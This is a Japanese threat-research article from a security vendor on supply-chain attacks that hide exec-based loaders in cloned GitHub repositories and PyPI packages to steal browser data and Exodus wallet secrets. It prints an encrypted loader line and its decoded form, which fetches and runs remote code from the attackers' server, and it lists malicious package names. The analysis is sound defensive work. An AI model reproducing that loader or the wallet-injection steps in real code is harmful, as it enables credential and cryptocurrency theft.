サイバー脅威
サプライチェーンやコードベースを通じてマルウェア感染を引き起こす攻撃の手口と対策について解説
複製したGitHubリポジトリへの不正なコードの埋め込みや、正規の暗号資産ウォレット内のコンポーネントを改変した機密情報の窃取など、正規なアプリケーションやコードベースに対するサプライチェーン攻撃の手口と対策について解説します。
はじめに
技術の成長に伴って世界全体が密接に繋がっていく中、サイバー攻撃グループが利用する技術もまた、同様の進化を遂げています。特にサプライチェーンやコードベース内の複雑な依存関係を突いた攻撃の手口は、企業や組織、個人、コミュニティに対する大きな脅威となっています。
近年では、特にコードベースの侵害を伴う「サプライチェーン攻撃」が浮上し、サイバーセキュリティ全体に対する脅威として危険視されています。欧州連合サイバーセキュリティ機関(ENISA:European Union Agency for Cybersecurity)の調査によると、サードパーティ側のサイバーインシデントによって影響を受けた組織が全体の39%から62%に及ぶ一方、サードパーティ側のサイバーリスク、プライバシーリスクについて理解していると回答した組織は、40%に過ぎませんでした。さらに懸念すべきこととして、サードパーティのコンポーネントによってセキュリティ事象が発生する可能性やタイミングについて、把握していないと回答した組織が全体の38%にも及びました。近年のサプライチェーン攻撃としては、Apache Log4j、SolarWinds Orion、3CXの3CXDesktopAppを狙った事例が特に有名であり、この種の攻撃によって引き起こされる損害の大きさが如実に表れています。
近年の開発プロセスでは、各工程を効率化するために、サードパーティ製コンポーネントが積極的に活用されています。これによって、確かにアプリケーションの開発コストは削減され、機能も拡充しやすくなるでしょう。しかし、頼りにしていたコンポーネント自体が攻撃者の手によって侵害を受けていた場合、どのような事態が生じるでしょうか。
攻撃者は、企業のサプライチェーンを構成するサードパーティ・ベンダーやソフトウェア・リポジトリなどに目を向け、その中でもセキュリティ的に脆弱な部分を突く形で、間接的なシステム侵入を図ります。この手口により、信頼されているコンポーネントさえも侵害し、より大規模で強いセキュリティ網が敷かれているはずの環境下に攻撃の足場を築きます。攻撃者は、不正なコードの埋め込み先として、正規なものと認識されがちなソフトウェアリポジトリを狙う傾向があります。開発者がこうしたリポジトリを正規なものと信じて利用した場合、知らない間にコアシステム内に脆弱性を作り込み、サイバーセキュリティ上のリスクを高めることとなります。
本稿では、正規なものと見られがちなアプリケーションやコードベースに不正なコードを埋め込む攻撃者の手口について、最近の脅威ハンティングで確認された事例を交えて解説します。また、こうしたサプライチェーン攻撃への対策として、ベンダー、開発者、コンシューマ向けに公開されているガイドラインを挙げ、企業や組織、個人ユーザがそれらをどのように活用できるかについて解説します。
技術分析
本調査事例において、攻撃者は、正規なGitHubリポジトリを複製(クローン)し、そこに不正なコードを埋め込みました。利用されたGitHubリポジトリとして、Binance-trading-bot、crypto-clipper、telegram-mass-dm、usdt-sweeper、discord-boost-tool、その他Python3で作成されたものが挙げられます。さらに攻撃者は、複製したリポジトリが検索で発見されやすくなるように、説明文(description)に一部のキーワードを恣意的に追加しました。
本調査を通じて、攻撃者がサードパーティのコンポーネントを感染させる手口や手順に関する知見が得られます。以降、実際に感染させられたプロジェクトの事例をベースに、攻撃者による内部的な活動の実態や、使用されるコマンドコントロール(C&C:Command and Control)サーバについて解説します。
感染の第一段階:Execスマグリング(Smuggling)によるWebリクエスト
本事例における感染の第一段階では、ペイロードの埋め込みと呼び出しに際して巧妙な手口が利用されます。具体的には、まず、連続する長い空白文字列に続く形でペイロードを埋め込むことで、不正な処理を画面外に追いやり、容易に発見されないようにします。さらに、Pythonの組み込み関数「exec」を介する形で、当該のペイロードを呼び出します。本稿では、一連の手口を特に「Execスマグリング」と名付けました。exec経由で呼び出されたペイロードは、Webリクスエストを実行し、第二段階用の不正なコードを取得します。以降、本事例で利用されたExecスマグリングの詳細な動きについて解説します。
依存関係にあるライブラリのインポート
はじめに本マルウェアは、下記のPythonコマンドによって機能上必要な(依存関係にある)パッケージをインストールした上で、通信用ライブラリ「requests」や暗号化ライブラリ「fernet」のインポート(import)を行います。
os.system("pip install <パッケージ名>")
不正なコードオブジェクトを画面外に隠す
攻撃者は、長い空白文字列(今回の場合は521個の空白文字)に続く形で不正なコードを埋め込むことで、当該の不正な処理を画面外に押しやり、容易に発見されないようにします。
<空白文字列>;exec(Fernet(b'n4URWLeTCi_xnoPjrWpQKiET9owwqIrjdTeawn_XK74=').decrypt(b'gAAAAABk0qRhQ5ElvkOXVd4S77j_7zec9wYp8mb6CJqMerEsGCL0SBINWk_qASYV2r3rHe7Tnh5KS-7TnmcbswLUqOuF0lACfVDsQDZi7OiHt1FAe8a9cfSi88bN2UiJ7rdaZ0QtzQc7Cc3WGx9ylJsOSAu-TizpXESIgAqmpEF7SNMDuXJMCj8TUpHDHINjyGHPrta7aY3E9E8JGsPFsgHPbjGesGiiwQ=='))
関数「exec」を介して不正なペイロードを実行
最後に、Pythonの組み込み関数「exec」によって不正なコードオブジェクトを呼び出し、実行します。不正なコード部分の復号結果を下記に示します。
b"exec(requests.get('hxxps[://]bananasquad[.]ru/paste').text.replace('<pre>','').replace('</pre>',''))"
本コードオブジェクトは、攻撃者のC&CサーバにWebリクエストを送信し、別の不正なペイロードを受信します。このペイロードが、感染の第二段階を担います。
感染の第二段階
感染の第二段階では、主に感染や攻撃を進行させるために必要な環境整備を実施します。
環境整備
環境整備には、ドロッパ型マルウェアが用いられます。はじめに本ドロッパは、requests、httpx、pyperclip、pyotp、winregistry、psutil、pycryptodomex、asyncioなどのPython用パッケージをインストールします。次に、ユーザシステムにインストールされたPythonのバージョンを全て調べ上げます。発見された各バージョンについて、ライブラリのインストール先ディレクトリ「site-packages」を検査し、暗号化ライブラリ「Cryptodome」のディレクトリが存在するかをチェックします。存在する場合、そのディレクトリを「Crypto」の名前で複製します。これは、古いライブラリとの下位互換性を維持するためと考えられます。続いて、復号処理を含むペイロードを作成し、ユーザディレクトリ「APPDATA」内に「pl.py」の名前で保存します。最後に、これをウィンドウなしで実行します。
感染の第三段階
環境整備が完了すると、マルウェアは感染の第三段階を始動します。
情報窃取ツール「BlackCap-Grabber」
第三段階では、オープンソースによる情報窃取ツール「BlackCap-Grabber」の改変バージョンが利用されます。本ツールは、下記の機能を備えています。
- ブラウザのパスワード、クッキー、閲覧履歴を抽出
- システム情報を取得
- Steam、MetaMask、Exodusなどのアプリやツールからログイン認証情報を窃取
- Discord用セキュリティツール「TokenProtector」を回避
- Windowsのクリップボードをハイジャックして暗号資産アドレスを攻撃者のウォレットアドレスに改変(他にもさまざまな機能を持つ)
改変前のBlackCap-Grabberには「デュアルフック」と呼ばれる特殊な機能が組み込まれ、攻撃者(BlackCap-Grabberの利用者)が窃取したデータは、本ツールの作成者側にも流出します。これは言わば、攻撃者が盗み取った情報をさらに盗み出す行為と見なせます。一方、「BlackCap-Grabber-NoDualHook」などのプロジェクトでは、デュアルフックの仕組みがソースコードから削除されています。
本マルウェアは、起動するとまず、感染したシステムのコンピュータ名をC&Cサーバに送信します。次に、機能上必要となるPython用パッケージをインストールします。これは元のBlackCap-Grabberになかった機能であり、今回の攻撃者が独自に追加したものです。
下図に、本マルウェアによる初回通信時のデータ例を挙げます。被害者のユーザ名や、被害端末から発せられたリクエストの受け付け用URLが示されています。
上記の他に、今回の攻撃者がBlackCap-Grabberに追加した機能として、暗号資産ウォレット「Exodus」から認証情報などの機密情報を窃取する「Exodusインジェクション」が挙げられます。Exodusは暗号資産の新規利用者の間で人気を得ているウォレットの1つです。Exodusインジェクションの手段として、攻撃者は下記に示す複数のプロジェクト(現在は停止されている)を感染チェーン内で利用します。
https://github.com/loTus04/Exodus-Injection
https://github.com/dropout1337/exodus-injection
BlackCap-Grabberの主機能として、感染システム上でWindowsのクリップボードをハイジャックし、暗号資産アドレスを改変する点や、Webブラウザなどから機密情報を抽出し、流出用ファイルとして保存する点などが挙げられます。
図9の内容に基づくと、BlackCap-Grabberは、窃取したパスワード、クッキー、暗号資産アドレスをPOSTリクエストに含め、これを攻撃者のインフラ宛てに送信します。
上図の場合、マルウェアは、感染システムのブラウザから窃取したクッキーなどを圧縮ファイルに格納し、攻撃者のサーバ宛てに流出させます。また、窃取した圧縮ファイルの処理に際しては、Webリクエストハンドラを使用します。
上図の例では、感染端末から窃取されたパスワードなどの機密情報が、POSTリクエストで攻撃者側のエンドポイント「/handler」に送信されました。
ExodusとElectronJSのコンポーネント
デスクトップ向け暗号資産ウォレット「Exodus Desktop Wallet」の構成を分析したところ、フレームワーク「ElectronJS」によってビルドされていることが判明しました。これは、ローカルにインストールされたExodusのリソースディレクトリ内で、asar形式のアーカイブ「app.asar」が発見されたためです。asarはzipやtarに類似しますが、ElectronJSアプリケーション用に特別設計が施されています。当該のフレームワーク「ElectronJS」は、主にアプリケーションのリソースをバンドル、パッケージ化する用途で用いられます。
感染の第三段階に特徴的な活動の1つとして、今回の攻撃者は、Exodus Desktop Walletの背後で稼働するElectronJSアプリケーション内に不正な処理を埋め込み、これを標的端末に配備します。結果として攻撃者は、Exodusウォレットに紐づく認証情報を窃取し、紐づくアカウントを侵害し、最終的には暗号資産や非代替性トークン(NFT:Non-Fungible Token)を被害者から盗み出せるようになります。
ElectronJSとExodusの関係については、これまでにも脆弱性関連の議題で多く取り上げられてきました。例えば2018年、ElectronからCVSS 8.8に相当するリモートコード実行の脆弱性「CVE-2018-1000006」が発見されました。その直後、当該脆弱性はExodusにも当てはまり、関連するElectronのプロトコルハンドラが不正利用されるリスクについて、報告があがりました。
先述の通り、ElectronJSアプリケーションのソースコードや各種アセットは、アーカイブ「app.asar」の内部に格納されています。asarはzipやtarに類似しますが、ElectronJSアプリケーション用に特別設計が施されています。
Exodusとは
Exodusは、デジタル資産プラットフォームの1つであり、暗号資産やNFTの保管、管理、両替機能を提供します。
また、Web3ウォレット、モバイルウォレット、デスクトップウォレット、ハードウェアウォレット「TREZOR(トレザー)」などの各種ウォレットを、暗号資産アプリケーションに統合した形で提供します。
アプリケーション「Exodus Desktop Wallet」
Exodus Desktop Walletは、Exodusのデスクトップ向けアプリケーションです。Windows、MacOS、Linuxなどの主要なオペレーティングシステム(OS)をカバーし、ユーザ・フレンドリーなGUI(Graphical User Interface:グラフィカル・ユーザ・インターフェース)上で、主要な暗号資産やNFTの保管や取引が可能です。
Web GUIを介したExodus Desktop Walletへのアクセス
Exodus Desktop Walletでは、直感的なインターフェースを介して暗号資産ウォレットにアクセスすることが可能です。ウォレットのロックを解除する際には、本アプリケーションのGUI上でパスワードを入力する必要があります。
ウォレットのバックアップ時に必要なニーモニックフレーズを設定する際、ユーザは当該フレーズを紙などの物理媒体に印刷し、セキュリティ機器として保管するように求められます。
ユーザがExodusウォレットを復旧する際には、ニーモニックフレーズが印刷された物理媒体を参照し、指定の数字に対応するフレーズを選択するように求められる場合があります。Exodusでは、セキュリティ上の観点から、パスワードやニーモニックフレーズなどの機密情報をユーザ自身の手で管理する「セルフカストディ(Self-Custody)」の方針が採用されています。
Exodusに組み込まれたElectronJSアプリケーションの主要なコンポーネントを分析
Exodus Desktop Walletのアーカイブ「app.asar」を展開すると、その中にはアプリケーションのルートディレクトリがあり、さらに配下にディレクトリ「node_modules」や「src」の他、JSONファイル「package.json」が格納されています。
ExodusのElectronJSアプリケーションを支える主要なコンポーネントとして、メインの処理を担う「src/app/main/index.js」、ウォレット関連の処理を担う「src/app/wallet/index.js」の他、プレゼンテーション側の処理に関与する「src/app/static/」が挙げられます。これらにより、NodeJSによるバックエンドファイルの内容がアプリケーションのフロントエンド表示に反映されます。
Exodus Desktop WalletのElectronJSアプリケーションを感染させる手口
攻撃者はインジェクション(埋め込み)の手法を利用し、Exodus Desktop WalletのElectronJSアプリケーションとして機能するアーカイブ「app.asar」を不正なバージョンに書き換えます。書き換え版には、元のExodus Desktop Walletが持つ機能に加え、パスワードやニーモニックフレーズのようなウォレット情報を攻撃者に流出する不正な処理が埋め込まれています。
図15では、感染端末内にExodus Desktop Walletがインストール済みであるかを判定するために、さまざまなチェック処理が行われています。
下記に、Windows版のExodusが使用するapp.asarの配置場所を示します。
%LOCALAPPDATA%\exodus\app-xx.x.xx\resources\app.asar
Linux版におけるapp.asarの配置場所は、下記の通りです。
/usr/lib/exodus/resources/app.asar
Exodusがインストール済みの場合、不正なコードは下記の処理を実行します。
- 不正に改変されたアーカイブ「app.asar」を攻撃者のインフラからダウンロードして読み込む
- 現在稼働しているExodusのプロセスを停止する
- アプリケーション「Exodus」のリソースディレクトリ内に存在するapp.asarに、ダウンロードした不正なバージョンの内容を書き込む
端末内にExodus Desktop Walletがインストールされていない場合の動作
標的端末内にExodusが見つからなかった場合、不正なコードは、ファイル「stromrechnung.py」をダウンロードして以下にに保存します。
\Microsoft\Windows\Start Menu\Programs\Startup
本ファイルは、システム起動時に自動実行されるようになります。
不正なPythonファイル「stromrechnung.py」は、下記の処理を実行します。
- Windows用バッチファイルにPythonの機能を追加する。
- ユーザアクセス制御(UAC:User Access Control)を回避するための処理を記述する。その手段として、被害端末に最初から存在すると予測されるドライバ群(LoLDrivers:Living Off the Land Drivers)を利用する。
- PowerShellコマンドによって暗号資産マイナー(miner.exe)を被害端末にダウンロードする機能を作成する。
- Pythonの機能を呼び出し、メソッド「subprocess.popen」を介してバッチファイルを起動する。
Exodus Desktop WalletのElectronJSアプリケーションに不正なコードをインジェクト
攻撃者に書き換えられたファイルは3種類存在することが、調査によって判明しました。以降、その詳細について解説します。
バックエンド側の関数「unlock」に不正なコードをインジェクト(src/app/wallet/index.js)
主要なインジェクションの一例として、今回の攻撃では、ファイル「src/wallet/index.js」の関数「unlock(ロック解除の意味)」が書き換えられ、不正なPOSTリクエストを送信する処理が埋め込まれます。このPOSTリクエストには、パスワード、ニーモニックフレーズ、ウォレットのディレクトリ情報が含まれます。
ウォレットドメインの使用制限を解除(src/app/main/index.js)
攻撃者はさらに、メイン処理用のファイル「index.js」を改変し、全てのウォレットドメインが許可されるように設定します。これには、クリーン状態のExodusでは制限されるドメインも含まれます。
CSPの無効化(src/static/wallet.html)
コンテンツセキュリティポリシー(CSP:Content Security Policy)は、クロスサイト・スクリプティングやデータインジェクション攻撃などを検知する仕組みであり、セキュリティの向上に寄与します。特に、ディレクティブ「connect-src」を指定することで、スクリプトのインターフェースからアクセスできるURLに制限をかけることが可能です。
今回の攻撃者は、CSPを無効化することで、全てのURLからExodusのコンポーネント「wallet.js」にデータアクセスできるように設定しました。
「Discord-Boost-Tool」のGitHubリポジトリ
本章では、Discordサーバ用ツール「Discord-Boost-Tool」の特徴と、その注目すべきコンポーネントについて解説します。
Discord-Boost-Toolの派生元を探る
本事例で確認されたDiscord-Boost-Toolは不正に改変されたものであり、改変前の大元を辿ったところ、2022年当時のGitHubリポジトリ「discord-boost-tool」に行き着きました。本ツールはNitroのボットアカウントによってDiscordサーバを強化するものですが、公開後すぐに複製、改変され、不正なPyPiパッケージによってユーザを感染させるバージョンが出回りました。改変者はGitHubユーザ「PatrickPogoda」であり、不正なPythonパッケージをPyPiレジストリにアップロードしていたことで知られています。なお、PatrickPogodaが使用していたGitHubアカウントは、2023年7月後半から8月にかけて削除されました。削除時期やその他調査の結果に基づくと、今回の事例で確認されたリポジトリは、当該の削除済みユーザと何らかの点で繋がりがあると考えられます。
GitHubコードベースの侵害を伴うサプライチェーン攻撃の影響
PatrickPogodaのGitHubアカウント自体は停止されましたが、当該リポジトリから派生した複製版や改変版は依然として存続し、その中には不正なPyPiパッケージも含まれています。こうした状況は、有害な依存関係を取り込ませることでツール類を間接的に侵害するという、サプライチェーン攻撃の警戒すべきパターンを体現したものと言えるでしょう。
続いて攻撃者は、GitHubなどのプラットフォームを通じてこれらの不正なツールを拡散させます。開発コミュニティが不正に気づくことなく当該リポジトリを複製または機能追加すると、それが同じような形で拡散し、結果として感染範囲が拡大することとなります。こうしたコード共有による影響の広がり具合を踏まえると、包括的なサプライチェーン・リスクマネジメント(SCRM:Supply Chain Risk Management)の重要性が強く示唆されます。
不正なツールがGitHubコミュニティを介して拡散
不正に改変されたツール類は、GitHub、Discord、Telegramをはじめとするプラットフォームの簡易な共有機能を介し、ユーザの手によって拡散します。当該ユーザの中には、ツールの出所について関知していないケースも多々見受けられます。こうした状況は、ツールの利用前にその出所や整合性を確認するという理想的な姿から大きく乖離したものと言えるでしょう。
また、本ツールをTelegram上で販売しているユーザも確認されました。
以来、この改変されたツールはGitHubリポジトリ内でさまざまな形態を取り、TelegramやDiscordなどのプラットフォーム上に拡散されました。
不正なDiscord-Boost-Toolのコミット履歴を分析
不正なDiscord-Boost-Toolの初回コミット日は2023年7月10日であり、それ以降、計78回に渡るコミットが確認されています。初回コミットにおいて、攻撃者は、ファイル「update.py」を通して不正なパッケージ「pipcoloringskitsV1」をPyPiから取得、インストールしようとしました。さらに、他の全Pythonファイルについても、先述した「exec」や「requests.get」の組み合わせによって不正な改変を施しました。
「Execスマグリング」に関連するGitHubコミット
本攻撃者は、先述の通り、不正なペイロードを読み込ませる手段としてExecスマグリングを使用します。
不正なPyPiに関連するGitHubコミット
攻撃者のコミット履歴からは、不正なPyPiパッケージによって標的を侵害しようという意図が明確に読み取れます。
パッケージ「pipcoloringskitsV1」の中身はファイル「__init__.py」のみであり、その内容は、先述したPythonによる第二段階用ドロッパの最新版と一致することが判明しました。
本攻撃者が2023年7月10日から8月7日にかけて行った活動を調べると、不正なペイロードの配布手段として、PyPiパッケージをプッシュ(アップロード)していたことが読み取れます。
しかし2023年8月8日以降、攻撃者は当該の配布手段を変更したことが確認されました。変更後の「update.py」を見ると、不正なPyPiパッケージを配布するのではなく、リポジトリ内で後続用ペイロードを直接ダウンロードして実行する方式に切り替わっていました。また、「checker.py」や「tokenf.py」にも同じ方式が適用されました。なお、ダウンロード元であるC&Cサーバの情報は、Fernetによって暗号化されていました。
不正なPyPiパッケージの履歴
攻撃者の活動履歴からは、不正なPyPiパッケージを数多く利用していた実態が示されます。さまざまなGitHubコミットを通して攻撃者がプッシュしたパッケージの一覧を下記に示します。
- pipsqlitepkgsV2
- pipsqlexts
- pipcryptlibaryV1
- syssqlitelibV1
- syssqlite2kits
- syscryptographymoduleV1
- syscryptlibrary
- pipfontslibery
- pythonsqliextV2
- pythonsqlipackagesV1
- pipfontingpkg
- pyfontingpackagesV2
- pipcryptomodulesV1
- pythonsqlipackageV1
- pysqlitekitsV1
- pysqlitepkgV2
- pipcoloradditionV1
- pipsqlitedbmodsV1
- pythoncryptokitV2
- pythoncolouringpackageV1
- syscolouringspackageV1
- pysqlite2pkgsV2
- pysqlitedbextV1
- pythonsqlitedbextensionV2
- syssqllibaryV1
- syscolouringsaddV2
- pythonfontsliberyV1
- pipcryptographymodV1
- pythoncoloringpackage
- pythonfontingkitsV2
- syscolouringexts
- syscryptographyadd
- pyfontstools
- pythonsqliteext
- syscolouringpkgV2
- syscryptographyV1
- pythonsqlite3libaryV1
- pysqlilibery
- pipcolourpkgs
- pythoncolourmoduleV2
- pipsqliteexts
- pipsqlitedbkit
- pycolouringskitV1
- pipcolouringext
- pipcoloringsliberyV1
- pycolorpkgsV2
- pycoloringextensionV1
- pipfontinglibV2
- pythoncolouringsliberyV1
- pythonsqlitetoolkitV1
- pythoncolouringtoolkitsV2
- pythoncolourextension
- pythonsqlitedbpackagesV2
- pipsqlipackages
- pycryptographypackageV1
- pythonfontingadds
- pipsqlitekitV2
- syssqllib
- pipsqlite3mod
- pysqlite3extensionV2
- pipcryptkits
- pipsqladdV1
- pythonsqltoolkitV1
これらパッケージやコミットの多さより、当該の攻撃者は標的を感染させるために迅速かつ柔軟に行動し、さまざまな攻撃用パッケージを展開できることが示唆されます。
Execスマグリングで感染済みのツールをドイツ語話者向けの犯罪市場で宣伝
調査中、Execスマグリングを用いる不正なツール類を宣伝する投稿が、ドイツ語話者向けの犯罪フォーラムで発見されました。宣伝はドイツ語で記載され、投稿者はただ一名のユーザであることが分かりました。
この投稿は当該犯罪フォーラムの「詐欺」セクションに書き込まれたものであり、内容として、暗号資産ボットを用いてロシア人ユーザから暗号資産を盗み取り、それによって収入を稼げるという旨が謳われていました。こうした形で、宣伝者は反ロシア感情を持つドイツ語話者に訴えかけ、特にウクライナ戦争を契機にヨーロッパからロシアにかけて広がった緊張感を逆手に利用し、感染済みツールへの関心を高めようとしました。
本ツールは、米ドルと連動するステーブルコイン「USDT(テザー)」のスウィーパー(sweeper)を装い、不注意なユーザを騙す目的で作られています。起動すると、Execスマグリングの手口によって不正なGETリクエストを攻撃者に送信します。送信先サーバのドメインは、先の分析結果と同一です。
サプライチェーン攻撃への対策
セキュリティ課題を扱う官民共同パートナーシップ「ESF(Enduring Security Framework)」のソフトウェアサプライチェーン・ワーキングパネルより、サプライチェーン攻撃に対するセキュリティおよび保護対策として有用な業界ベストプラクティスが、ベンダー、開発者、消費者向けに開示されました。これらベストプラクティスは、サプライチェーンに属する全部門がセキュリティ上重要な役割を果たすという認識に立ち、個々の役割または責任別に規定されています。企業や組織では、サプライチェーン攻撃へのセキュリティ対策を強化して組織的なリスクを最小限に抑え込むために、強固なサプライチェーン・リスクマネジメント(SCRM)の導入を推奨します。
ソフトウェアベンダー向けの推奨事項
ベンダーは、本資料に記載のベストプラクティスを参照し、実践することが強く推奨されています。本資料では、下記の観点に基づいてベンダーを支援することを念頭に、業界標準に関するガイドラインが規定されています。
- 開発者と消費者との連絡役を担う
- 契約を通してソフトウェアの整合性とセキュリティを保証する
- ソフトウェアのアップデートとリリースに関する対応を行う
- 脆弱性の通知や対処に関わる責任を遂行する
- セキュリティ要件を策定する
- セキュアなソフトウェアを設計する
- セキュリティ機能を実装する
- ソフトウェアのセキュリティ、および基盤のインフラを維持、管理する
コンシューマ向けの推奨事項
コンシューマは、本資料に記載の業界ベストプラクティスや理念を参照し、実践することが推奨されています。本資料では、主にソフトウェア・サプライチェーンの取得、開発、運用フェーズにおいてコンシューマを支援することを念頭に、業界標準に関するガイドラインが規定されています。また、小規模から中規模の企業や組織においては、サプライチェーンのセキュリティを確保する上で、サイバーセキュリティ・社会基盤安全保障庁(CISA:Cyberspace and Infrastructure Security Agency)によるハンドブックを活用できます。
追加の推奨事項
一般的な観点に基づく推奨事項として、下記が挙げられます。
- 利用を開始する前に精査:オープンソースのツールやライブラリを取り込む前に、その評判をチェックする。レビューや体験談、既知のセキュリティ問題を確認する。サードパーティ製フレームワークの利用によるリスクについて把握する。
- コードレビュー:利用するツールなどについて、常にコードレビューを行う。提供元の信頼性を確認できない場合は、特にそのことが言える。警戒すべき兆候として、「exec(requests.get(...))」のような不審な機能の呼び出しや組み合わせ、「subprocess.popen」のようなメソッドを介したプロセス作成などが挙げられる。
- 管理者を確認:当該プロジェクトを管理している個人や組織が高い評価を得ているかどうか、確認する。認知度が高くてアクティブな管理者ほど、そのプロジェクト内に不正なコードが混入するリスクは低いと考えられる。
- ネットワークを監視:アプリケーションによる外向きのネットワークリクエストを監視する。特に、想定されていない未知のドメインに対する通信は、不正の兆候として警戒する。
- 信頼できるセキュリティソリューションを使用する:近代的なセキュリティソリューションであれば、不正な挙動を検知し、攻撃用ペイロードのダウンロードや実行を阻止できる。
- 実行制限:可能であれば、システムやネットワークへのアクセス制限がかけられた環境内でスクリプトを実行する。
- 依存関係スキャナを利用:SnykやGuarddogのようなツールにより、プロジェクトを依存関係も含めてスキャンし、既知の脆弱性や不正な挙動を自動で検知できる。
- 最小権限:オープンソースのアプリケーションは必要最小の権限で実行する。これにより、仮に不正なコードが含まれていても、その影響を緩和できる可能性がある。
- 環境の隔離:仮想環境やコンテナを利用してオープンソースのアプリケーションを隔離する。可能であれば、そのコンポーネントをメインシステムから切り離す。これにより、仮に不正な挙動が行われても、メインシステムへの影響は阻止できる可能性がある。
- コミュニティと連携:利用するオープンソースプロジェクトに関連するフォーラムやメーリングリストに参加する。アクティブなコミュニティでは、脆弱性やベストプラクティスについて論じられている場合が多い。
- 定期的にバックアップ:重要なデータや設定については、常にバックアップを取る。これにより、不正なコンポーネントによって異常が生じても、安全な状態への切り戻しが可能になる。
まとめ
本稿では、サプライチェーン攻撃の事例として、Execスマグリング、GitHubなどのプラットフォーム、PyPiなどのリポジトリを組み合わせて個人、企業、組織を感染させる手口について解説しました。さらに、こうしたサプライチェーン攻撃に対抗する上で、ベンダー、開発者、コンシューマが活用できるベストプラクティスについて紹介しました。
システム侵害の中でサードパーティ側のインシデントが占める割合は、2020年の時点で1%に満たなかったのに対し、2021年は17%に及びます。この点からも、サプライチェーン攻撃の増加傾向が示されます。欧州連合サイバーセキュリティ機関(ENISA:European Union Agency for Cybersecurity)によると、サプライチェーン攻撃ではコードベースが格好の標的として狙われる傾向にあり、全体の約66%を占めています。
サプライチェーン攻撃のステルス性、影響力、リスクを踏まえると、企業や組織では、全てのサードパーティ製コンポーネントを厳密に評価し、統合システムを継続的に監視するなど、包括的なセキュリティ対策を実施していくことが重要と言えるでしょう。
多様なサプライチェーン攻撃からシステムを守る上では、「Trend Vision One™」の利用を推奨します。セキュリティチームは本ソリューションを用いることで、攻撃対象領域(アタックサーフェス)を広範に渡って継続的に監視、特定することが可能となります。監視対象のサイバー資産として、既知、未知、マネージド、非マネージドの全てが含まれます。また、本ソリューションでは、不審な挙動への対処にあたり、攻撃の可能性や影響の大きさなどの重要度を考慮し、脆弱性やリスクの対応優先度を自動的に割り振る機能も備えています。以上に加えて「Trend Vision One™」では、AIや先進的な脅威リサーチ、インテリジェンスを駆使することで、攻撃の阻止、検知、応答に至る包括的なソリューションを提供します。これによって検知、応答、処置に要する平均時間が短縮され、全体的なセキュリティ体制や効力がさらに向上します。
挙動や処理、侵入の可能性が不明瞭の場合、システム侵害に至っている可能性も念頭に、影響下にある情報資産やツール類を迅速に隔離することが推奨されます。これらの問題点に対処しながら、システム全体を保護し続ける上では、広域的な分析や迅速な応答が重要な鍵となります。企業や組織がこうした状況に対峙する上では、最先端のマルチレイヤーによる防御戦略や、包括的なセキュリティソリューションを導入することが有効です。その一例が「XDR」であり、近代的な脅威の動向に対処し、不正なコンテンツを的確に検知、スキャン、ブロックすることが可能となります。
感染に関わる手法
本稿で取り上げたような攻撃は、その性質上、多段階で行われるのが一般的です。その初期段階では、Pythonのネットワークモジュールによって後続の活動に必要なファイルがダウンロードされます。この際にURLを難読化する基本的な手法として、Base64やバイト列が用いられます。
今回はサプライチェーンやコードベースの保護を支援する目的から、本稿で挙げた類の攻撃で頻繁に利用される手法を分析し、その一覧を作成しました。分析にあたっては、脅威ハンティングの結果を基準として用いました。
こちらに、脅威ハンティングで役立つ可能性のあるクエリ一覧や、パッケージ中で危険性を及ぼすメソッドの組み合わせを記載します。これらは、静的解析ツール「semgrep」向けのルールを作成する際にも活用できると考えられます。
侵入の痕跡(Indicators of Compromise、IoC)
侵入の痕跡(IoC)について、こちらで確認してください。
参考記事:
Exposing Infection Techniques Across Supply Chains and Codebases
By: Aliakbar Zahravi, Peter Girnus
翻訳:清水 浩平(Core Technology Marketing, Trend Micro™ Research)